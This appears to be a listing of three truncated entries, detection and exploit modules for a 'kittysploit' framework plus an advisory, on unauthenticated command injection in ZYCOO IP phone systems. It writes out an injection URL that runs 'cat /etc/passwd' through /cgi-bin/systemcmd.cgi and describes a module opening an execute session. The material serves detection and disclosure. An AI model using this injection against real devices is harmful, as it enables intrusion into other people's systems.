ZYCOO IP Phone - system_cmd.cgi RCE Detection

Detects ZYCOO unauthenticated command injection via /cgi-bin/systemcmd.cgi?cmd='cat /etc/passwd'. !/usr/bin/env python3 -- coding: utf-8 -- """ZYCOO IP Phone System systemcmd.cgi RCE.""" import re from urllib.parse import quote from kittysploit import from lib.protocols.http.httpclient import...

ZYCOO IP Phone - system_cmd.cgi RCE

Exploits ZYCOO /cgi-bin/systemcmd.cgi?cmd= command injection. Opens an interactive execute session. !/usr/bin/env python3 -- coding: utf-8 -- """ZYCOO IP Phone System systemcmd.cgi RCE — opens execute session.""" import re from urllib.parse import quote from kittysploit import from...

ZYCOO IP Phone System - Remote Command Execution

Vulnerable hardware : ZYCOO IP phone system Vendor : zycoo.com Author : Ahmed sultan @0x4148 Email : [email protected] Summary : According to the vendor's site , CooVox Series IP Phone System is the most innovative solution for VoIP telecommunication in SMB Small and Medium-sized Business market...